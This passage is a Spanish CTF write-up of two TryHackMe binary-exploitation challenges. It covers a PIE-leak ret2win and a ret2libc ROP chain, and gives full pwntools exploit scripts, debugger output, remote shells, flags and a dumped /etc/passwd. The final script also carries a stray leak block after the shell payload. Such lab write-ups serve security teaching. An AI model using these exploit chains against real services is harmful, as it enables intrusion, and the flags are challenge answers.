log.info(f'Base address = {hex(base_address)}')
win_address = base_address + win_offset
log.info(f'Win function address = {hex(win_address)}')
ret_gadget = base_address + ret_offset
log.info(f'Gadget ret address = {hex(ret_gadget)}')
Al ejecutarlo tenemos las direcciones de todas las funciones en tiempos de ejecución.
$ python3 debug.py [+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random': pid 81180 [*] Buffer leak = 0x63df69e1b319 [*] Base address = 0x63df69e1a000 [*] Win function address = 0x63df69e1b210 [*] Gadget ret address = 0x63df69e1b01a [*] Stopped process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random' (pid 81180) $ python3 debug.py [+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random': pid 81189 [*] Buffer leak = 0x5dba10a38319 [*] Base address = 0x5dba10a37000 [*] Win function address = 0x5dba10a38210 [*] Gadget ret address = 0x5dba10a3801a [*] Stopped process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random' (pid 81189) $ python3 debug.py [+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random': pid 81198 [*] Buffer leak = 0x5702a4c8d319 [*] Base address = 0x5702a4c8c000 [*] Win function address = 0x5702a4c8d210 [*] Gadget ret address = 0x5702a4c8d01a [*] Stopped process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random' (pid 81198) $ python3 debug.py [+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random': pid 81207 [*] Buffer leak = 0x55769dc4e319 [*] Base address = 0x55769dc4d000 [*] Win function address = 0x55769dc4e210 [*] Gadget ret address = 0x55769dc4e01a [*] Stopped process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random' (pid 81207)
Ahora necesitamos calcular el offset necesario para sobrescribir el registro rsp
y controlar el flujo de ejecución del programa. De esta forma, podemos identificar cuántos bytes necesitamos para llegar a la dirección de retorno y sobrescribirla adecuadamente, logrando así ejecutar el gadget ret y redirigir la ejecución a la funcion win()
.
gef➤ pattern create 500 [+] Generating a pattern of 500 bytes (n=8) aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaa aaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa [+] Saved as '$_gef1' gef➤ run Starting program: /home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMemories/random [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". ___ ___ ___ ___ / \ / \ / \ / \ | CODE| | STACK| | HEAP| | LIBS| \_____/ \_____/ \_____/ \_____/ ^ ^ ^ ^ | | | | Powered by THMlabs Unpredictable locations I can give you a secret 555555555319 Where are we going? : aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaa aaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa ok, let's go! Program received signal SIGSEGV, Segmentation fault. 0x0000555555555373 in vuln () [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x10 $rbx : 0x00007fffffffde08 → 0x00007fffffffe17d → "/home/abund4nt/pwn/TryHackMe/TryPwnMe One/RandomMe[...]" $rcx : 0x00007ffff7d1c574 → 0x5477fffff0003d48 ("H="?) $rdx : 0x0 $rsp : 0x00007fffffffdcd8 → "iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboa[...]" $rbp : 0x6261616161616168 ("haaaaaab"?) $rsi : 0x00007ffff7e04643 → 0xe05710000000000a ("\n"?) $rdi : 0x00007ffff7e05710 → 0x0000000000000000 $rip : 0x0000555555555373 → <vuln+005a> ret $r8 : 0xf $r9 : 0x0 $r10 : 0x0 $r11 : 0x202 $r12 : 0x1 $r13 : 0x0 $r14 : 0x0 $r15 : 0x00007ffff7ffd000 → 0x00007ffff7ffe2e0 → 0x0000555555554000 → jg 0x555555554047 $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdcd8│+0x0000: "iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboa[...]" ← $rsp 0x00007fffffffdce0│+0x0008: "jaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpa[...]" 0x00007fffffffdce8│+0x0010: "kaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqa[...]" 0x00007fffffffdcf0│+0x0018: "laaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabra[...]" 0x00007fffffffdcf8│+0x0020: "maaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsa[...]" 0x00007fffffffdd00│+0x0028: "naaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabta[...]" 0x00007fffffffdd08│+0x0030: "oaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabua[...]" 0x00007fffffffdd10│+0x0038: "paaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabva[...]" ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x55555555536c <vuln+0053> call 0x555555555090 <puts@plt> 0x555555555371 <vuln+0058> nop 0x555555555372 <vuln+0059> leave → 0x555555555373 <vuln+005a> ret [!] Cannot disassemble from $PC ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "random", stopped 0x555555555373 in vuln (), reason: SIGSEGV ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x555555555373 → vuln() ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ pattern search $rsp [+] Searching for '6961616161616162'/'6261616161616169' with period=8 [+] Found at offset 264 (little-endian search) likely
Necesitamos enviar 264 bytes como padding para llegar al registro rsp
y así poder controlar la ejecución del programa. Este padding nos permitirá sobrescribir la dirección de retorno y redirigir la ejecución del flujo del programa a la dirección que hemos calculado previamente (la dirección de la función win()
). Con esto, podemos completar el script y resolver el desafío.
Flag
Con el siguiente script podemos resolver el desafio.
from pwn import *
context.binary = ELF('./random', checksec=False)
p = remote('10.10.51.105', 9007)
# buffer leak
p.recvuntil(b'I can give you a secret ')
buffer_leak = int(p.recvline().strip(), 16)
log.info(f'Buffer leak = {hex(buffer_leak)}')
# offsets objdump
win_offset = 0x1210
vuln_offset = 0x1319
ret_offset = 0x101a
# offset calculation
base_address = buffer_leak - vuln_offset
log.info(f'Base address = {hex(base_address)}')
win_address = base_address + win_offset
log.info(f'Win function address = {hex(win_address)}')
ret_gadget = base_address + ret_offset
log.info(f'Gadget ret address = {hex(ret_gadget)}')
# offset rsp
offset = 264
junk = b'A' * offset
# send payload
payload = junk
payload += p64(ret_gadget)
payload += p64(win_address)
# gotta shell!
p.sendline(payload)
p.interactive()
Al ejecutarlo obtenemos una shell inversa y podemos leer la flag.
$ python3 debug.py [+] Opening connection to 10.10.51.105 on port 9007: Done [*] Buffer leak = 0x55d90b847319 [*] Base address = 0x55d90b846000 [*] Win function address = 0x55d90b847210 [*] Gadget ret address = 0x55d90b84701a [*] Switching to interactive mode Where are we going? : ok, let's go! $ ls flag.txt run $ cat flag.txt THM{Th1s_R4ndom_acc3ss_m3mories_tututut_byp4ssed}
The Librarian
Se nos proporciona un binaro con las siguientes protecciones.
$ checksec thelibrarian Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000) RUNPATH: b'.' Stripped: No
Tambien nos entregan su codigo fuente y la biblioteca estandar con la que fue compilada el binario libc.so.6
.
void vuln(){
char *buf[0x20];
puts("Again? Where this time? : ");
read(0, buf, 0x200);
puts("\nok, let's go!\n");
}
int main(){
setup();
vuln();
}
Analisis del codigo fuente
Se define la función vuln()
, la cual crea un buffer de 0x20
bytes (32 en decimal), imprime algunos mensajes con puts()
y recibe nuestra entrada mediante la función read()
. Esta implementación es vulnerable a Buffer Overflow, ya que permite leer hasta 0x200
bytes (512 en decimal), superando el tamaño del buffer. Finalmente, en la función main()
, se realiza la llamada a vuln()
. Dado que la función es vulnerable, es posible ejecutar el binario, ingresar una gran cantidad de bytes y observar cómo el programa se bloquea debido al desbordamiento del buffer.
$ ./thelibrarian Again? Where this time? : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ok, let's go! [1] 25540 segmentation fault (core dumped) ./thelibrarian
En este caso, no existe una función tipo win() a la cual redirigir la ejecución ni una variable que deba modificarse para cumplir una sentencia de control. El binario únicamente cuenta con estas dos funciones y la biblioteca estándar con la que fue compilado.
Estrategia de explotación
Para resolver este desafío, se debe utilizar una técnica llamada ret2libc. Esta consiste en aprovechar la vulnerabilidad de Buffer Overflow para redirigir el flujo de ejecución del programa hacia funciones de la biblioteca estándar libc, como system()
. Al hacerlo, es posible ejecutar comandos arbitrarios, como una shell, sin necesidad de ejecutar código inyectado.
Sin embargo, en este caso, ASLR (Address Space Layout Randomization) está habilitado, lo que significa que las direcciones de libc cambian en cada ejecución. Para evadir esta proteccion y calcular la dirección base de libc, es necesario filtrar en tiempo de ejecución la dirección de alguna función dentro de la biblioteca. Con esta información, se puede determinar la ubicación real de system()
y la cadena “/bin/sh
”, permitiendo así la ejecución de comandos arbitrarios.
Dado que el binario es vulnerable a Buffer Overflow, es posible tomar el control del flujo de ejecución y llamar a una función como puts() para imprimir la dirección de otra función. Para ello, se utilizará la entrada de puts en la Procedure Linkage Table (PLT), la cual permite resolver direcciones de funciones en tiempo de ejecución. Como puts() imprime una cadena de caracteres a partir de una dirección de memoria, se le pasará como argumento la dirección de una función en la Global Offset Table (GOT), que almacena la dirección real de la función una vez ha sido resuelta por el enlazador dinámico.
En arquitecturas de 64 bits, el primer argumento de una función debe almacenarse en el registro rdi antes de la llamada. Para lograrlo, se recurrirá a gadgets, pequeñas secuencias de instrucciones que finalizan con ret, lo que permite encadenarlas en una ROP chain. Esta técnica es clave para explotar binarios protegidos con NX, ya que posibilita la ejecución de código controlado sin necesidad de inyectar instrucciones en la pila.
Explotación
Primero, es necesario identificar la dirección de puts()
en la PLT y GOT. Para ello utilizaremos la herramienta objdump
.
$ objdump -d thelibrarian | grep puts 00000000004004e0 <puts@plt>: 4004e0: ff 25 32 0b 20 00 jmp *0x200b32(%rip) # 601018 <puts@GLIBC_2.2.5> 400650: e8 8b fe ff ff call 4004e0 <puts@plt> 400675: e8 66 fe ff ff call 4004e0 <puts@plt>
Se puede observar que puts()
tiene una entrada en la PLT en 0x4004e0
y una referencia en la GOT en 0x601018
.
Ahora es necesario encontrar un gadget que cargue la dirección de puts en la GOT dentro del registro rdi
, ya que este es el primer argumento en las llamadas a funciones en arquitecturas de 64 bits. Un gadget útil para este propósito es pop rdi; ret
, el cual extrae un valor de la pila y lo almacena en rdi
antes de retornar. Para localizarlo dentro del binario, utilizaremos la herramienta ropper.
$ ropper --file thelibrarian --search 'pop rdi; ret' [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop rdi; ret [INFO] File: thelibrarian 0x0000000000400639: pop rdi; ret;
Por último, es necesario obtener la dirección de main, ya que será la última dirección de memoria a la que llamaremos en la ROP chain. Esto permitirá reiniciar la ejecución del programa sin que el proceso se cierre, facilitando la fuga de información y la posterior explotación. Para encontrar esta dirección, utilizaremos el comando info functions
en GDB.
gef➤ info functions All defined functions: Non-debugging symbols: 0x00000000004004b0 _init 0x00000000004004e0 puts@plt 0x00000000004004f0 read@plt 0x0000000000400500 setvbuf@plt 0x0000000000400510 _start 0x0000000000400540 _dl_relocate_static_pie 0x0000000000400550 deregister_tm_clones 0x0000000000400580 register_tm_clones 0x00000000004005c0 __do_global_dtors_aux 0x00000000004005f0 frame_dummy 0x00000000004005f2 setup 0x0000000000400635 help 0x000000000040063e vuln 0x000000000040067d main 0x00000000004006a0 __libc_csu_init 0x0000000000400710 __libc_csu_fini 0x0000000000400714 _fini
Lo último que nos quedaría para comenzar a escribir el exploit sería calcular el offset necesario para llegar al registro rsp (donde se almacena la dirección de retorno antes de llamar a una función). Este offset nos permitirá sobrescribir la dirección de retorno y controlar el flujo de ejecución. Para esto utilizaremos GDB.
gef➤ pattern create 500 [+] Generating a pattern of 500 bytes (n=8) aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaa abkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa [+] Saved as '$_gef0' gef➤ run Starting program: /home/abund4nt/pwn/TryHackMe/TryPwnMe One/TheLibrarian/thelibrarian Again? Where this time? : aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaa abkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa ok, let's go! Program received signal SIGSEGV, Segmentation fault. 0x000000000040067c in vuln () [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x10 $rbx : 0x0 $rcx : 0x00007ffff7910104 → 0x5477fffff0003d48 ("H="?) $rdx : 0x00007ffff7bed8c0 → 0x0000000000000000 $rsp : 0x00007fffffffdd18 → "iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboa[...]" $rbp : 0x6261616161616168 ("haaaaaab"?) $rsi : 0x00007ffff7bec7e3 → 0xbed8c0000000000a ("\n"?) $rdi : 0x1 $rip : 0x000000000040067c → <vuln+003e> ret $r8 : 0xf $r9 : 0x00007ffff7ff8540 → 0x00007ffff7ff8540 → [loop detected] $r10 : 0x3 $r11 : 0x246 $r12 : 0x0000000000400510 → <_start+0000> xor ebp, ebp $r13 : 0x00007fffffffde00 → 0x0000000a6161616d ("maaa\n"?) $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdd18│+0x0000: "iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboa[...]" ← $rsp 0x00007fffffffdd20│+0x0008: "jaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpa[...]" 0x00007fffffffdd28│+0x0010: "kaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqa[...]" 0x00007fffffffdd30│+0x0018: "laaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabra[...]" 0x00007fffffffdd38│+0x0020: "maaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsa[...]" 0x00007fffffffdd40│+0x0028: "naaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabta[...]" 0x00007fffffffdd48│+0x0030: "oaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabua[...]" 0x00007fffffffdd50│+0x0038: "paaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabva[...]" ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x400675 <vuln+0037> call 0x4004e0 <puts@plt> 0x40067a <vuln+003c> nop 0x40067b <vuln+003d> leave → 0x40067c <vuln+003e> ret [!] Cannot disassemble from $PC ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "thelibrarian", stopped 0x40067c in vuln (), reason: SIGSEGV ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x40067c → vuln() ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ pattern search $rsp [+] Searching for '6961616161616162'/'6261616161616169' with period=8 [+] Found at offset 264 (little-endian search) likely
Necesitamos 264 caracteres.
Con esto, se ha desarrollado el siguiente script que permite realizar una fuga de la dirección de puts()
en tiempo de ejecución.
from pwn import *
context.binary = ELF('./thelibrarian')
p = process()
# offset return address
offset = 264
junk = b'A' * offset
# gadgets and functions
puts_plt = 0x4004e0
puts_got = 0x601018
pop_rdi_ret = 0x400639
ret = 0x4004c6
main_function = 0x40067d
# payload
payload = junk
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_function)
p.sendline(payload)
p.interactive()
Al ejecutar el script, podemos observar que se realiza la fuga de la dirección de puts()
y el programa vuelve a ejecutar la función main()
.
$ python3 debug.py [*] '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TheLibrarian/thelibrarian' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000) RUNPATH: b'.' Stripped: No [+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TheLibrarian/thelibrarian': pid 36951 [*] Switching to interactive mode Again? Where this time? : ok, let's go! p H\xa4\xbcu Again? Where this time? : $
Ahora, utilizando u64(), podemos almacenar la dirección de memoria en una variable. Con esta información, podemos calcular la dirección base de la librería glibc en tiempo de ejecución. Para hacerlo, simplemente restamos la dirección de puts con su respectivo offset. El offset de puts en glibc es 0x80970, por lo que debemos restarlo a la dirección obtenida de puts en tiempo de ejecución.
$ readelf -s libc.so.6 | grep 'puts' 192: 0000000000080970 512 FUNC GLOBAL DEFAULT 13 _IO_puts@@GLIBC_2.2.5 423: 0000000000080970 512 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.2.5
De esta forma, con las siguientes lineas realizamos los calculos.
p.recvuntil(b"ok, let's go!\n\n")
puts_address = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leaked puts() address = {hex(puts_address)}')
puts_offset = 0x80970
glibc_base_address = puts_address - puts_offset
log.info(f'Glibc base address = {hex(glibc_base_address)}')
Cuando ejecutamos este script, podemos ver que la dirección base de glibc siempre termina en 000. Esto es esperado, ya que por convención en Linux, el ASLR alinea la base de las bibliotecas en múltiplos de 0x1000.
$ python3 debug.py [*] '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TheLibrarian/thelibrarian' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000) RUNPATH: b'.' Stripped: No [+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TheLibrarian/thelibrarian': pid 42059 [*] Leaked puts() address = 0x76c9d8280970 [*] Glibc base address = 0x76c9d8200000 [*] Switching to interactive mode Again? Where this time? : $
Ahora que tenemos la dirección base de glibc, necesitamos llamar a la función system con “/bin/sh” como argumento para obtener una shell. Para obtener las direcciones necesarias, usamos readelf para localizar la dirección de system en las tablas de símbolos de glibc y strings para buscar la cadena “/bin/sh”, que será utilizada como argumento para la función system.
$ readelf -s libc.so.6 | grep 'system' 1406: 000000000004f420 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5 $ strings -atx libc.so.6 | grep '/bin/sh' 1b3d88 /bin/sh
Ya con esto podemos crear la segunda ROP Chain.
system_offset = 0x4f420
bin_sh_offset = 0x1b3d88
system_address = glibc_base_address + system_offset
bin_sh_address = glibc_base_address + bin_sh_offset
payload2 = junk
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_address)
payload2 += p64(system_address)
Flag
Al enviar esta segunda ROP chain, conseguimos obtener una shell localmente.
$ python3 debug.py [*] '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TheLibrarian/thelibrarian' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000) RUNPATH: b'.' Stripped: No [+] Starting local process '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TheLibrarian/thelibrarian': pid 48480 [*] Leaked puts() address = 0x7e30e0c80970 [*] Glibc base address = 0x7e30e0c00000 [*] Switching to interactive mode Again? Where this time? : ok, let's go! $ whoami abund4nt $ uname -a Linux work 6.8.0-52-generic #53-Ubuntu SMP PREEMPT_DYNAMIC Sat Jan 11 00:06:25 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
Probamos en la instancia remota y también obtenemos una shell, lorando leer la flag.
$ python3 debug.py [*] '/home/abund4nt/pwn/TryHackMe/TryPwnMe One/TheLibrarian/thelibrarian' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000) RUNPATH: b'.' Stripped: No [+] Opening connection to 10.10.110.222 on port 9008: Done [*] Leaked puts() address = 0x7fb9caa54970 [*] Glibc base address = 0x7fb9ca9d4000 [*] Switching to interactive mode Again? Where this time? : ok, let's go! $ ls flag.txt ld-linux-x86-64.so.2 libc.so.6 run $ cat flag.txt THM{YAY_You_r3t_t0_libc_well_d0n3} $ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
Acá el exploit completo.
from pwn import *
context.binary = ELF('./thelibrarian')
p = remote('10.10.80.224', 9008)
# padding
offset = 264
junk = b'A' * offset
puts_plt = 0x4004e0
puts_got = 0x601018
pop_rdi_ret = 0x0000000000400639
puts_offset = 0x80970
ret_gadget = 0x00000000004004c6
main_address = 0x000000000040067d
payload = junk
payload += p64(ret_gadget)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_address)
p.sendline(payload)
p.recvuntil(b"ok, let's go!\n\n")
puts_addr = u64(p.recvline().rstrip().ljust(8, b"\x00"))
log.info(f'Leaked puts() address: {hex(puts_addr)}')
glibc_base_address = puts_addr - puts_offset
log.info(f'Glibc base address: {hex(glibc_base_address)}')
system_offset = 0x4f420
bin_sh_offset = 0x1b3d88
system_address = system_offset + glibc_base_address
bin_sh_address = bin_sh_offset + glibc_base_address
payload2 = junk
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_address)
payload2 += p64(system_address)
p.sendline(payload2)
# save address
p.recvuntil("ok, let's go!\n\n")
puts_address = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leaked puts() address: {hex(puts_address)}')
p.interactive()